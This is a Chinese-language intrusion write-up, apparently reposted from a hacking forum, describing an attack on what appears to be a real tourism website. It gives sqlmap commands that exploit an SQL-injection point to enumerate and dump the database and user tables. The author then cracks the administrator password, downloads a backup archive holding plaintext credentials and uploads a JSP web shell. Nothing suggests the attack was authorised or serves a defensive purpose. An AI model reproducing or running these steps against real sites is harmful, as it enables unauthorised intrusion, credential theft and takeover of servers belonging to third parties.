http://www.myhack58.com/Article/html/3/8/2012/35324.htm
目标:
http://www.djj.com/yz/cn/videodt.jsp?Videoid=10
此URL为sa权限猪肉一块
用穿山甲不能执行命令
过程如下:
通过访问
http://www.djj .com/login.jsp
得知该站由一论坛搭建
注册普通用户访问
http://www.djj .com/admin/index.htm
得知该站由
http://www.easyjforum.cn/ejf_download.jsp
EasyJForum 论坛程序改编而来。
既然有了SA权限的注入点那就祭出神器sqlmap来跑下注入点
启动BT5,打开sqlmap,输入命令
python ./sqlmap.py -u http://www.yangzhoutour.com/yz/cn/videodt.jsp?Videoid=10
检测结果如图:
目标数据库为:Microsoft SQL Server2005
接着执行命令:
python ./sqlmap.py -u http://www.djj.com/yz/cn/videodt.jsp?Videoid=10 –current-db –current-user
执行结果如图:
得到当前用户为:sa
数据库名:tour-2010-11-24
接下来我们列下表执行:
python ./sqlmap.py -u http://www.djj.com/yz/cn/videodt.jsp?Videoid=10 –tables -D tour-2010-11-24
列出全部表如图:
过下载EasyJForum 原程序找到论坛后台用户表以及相关用户密码字段
执行命令:
python ./sqlmap.py -u http://www.yangzhoutour.com/yz/cn/videodt.jsp?Videoid=10 –columns -T ejf_user users-D tour-2010-11-24 -v 0
在列出的用户名和密码列表中发现此用户
破解后得到
账户:administrator
密码:administrator
用得到的用户信息尝试登陆
http://www.djj.com/admin/index.htm
成功进入,在后台浏览了一遍没有找到拿shell方法。不过发现了一个这个功能
现在有两个方法拿shell了:
1. 通过修改管理员联系邮箱为自己邮箱地址然后通过数据备份功能将网站目录备份发送到我的邮箱
2. 通过上图猜测管理员应该执行过备份。可以通过下载备份文件得到数据库配置等信息拿shell。
我直接访问域名+1.rar,下载了该备份文件。
在该备份文件中查找到了网站真正后台地址:
http://www.djj.com/yz/Manage/admin_login.jsp
以及用户表及相关用户名和密码的字段
表名:GlUserInfo
用户:username
密码:password (MD5加密后40位)
真正密码:passwd(未加密明文 )
执行命令:
python ./sqlmap.py -u http://www.djj.com/yz/cn/videodt.jsp?Videoid=10 –dump -C username,passwd,password -T gluserinfo -D tour-2010-11-24 -v 0
得到用户及密码:
使用得到的用户名和密码登陆后台,找个上传图片的地方直接上传了jspshell。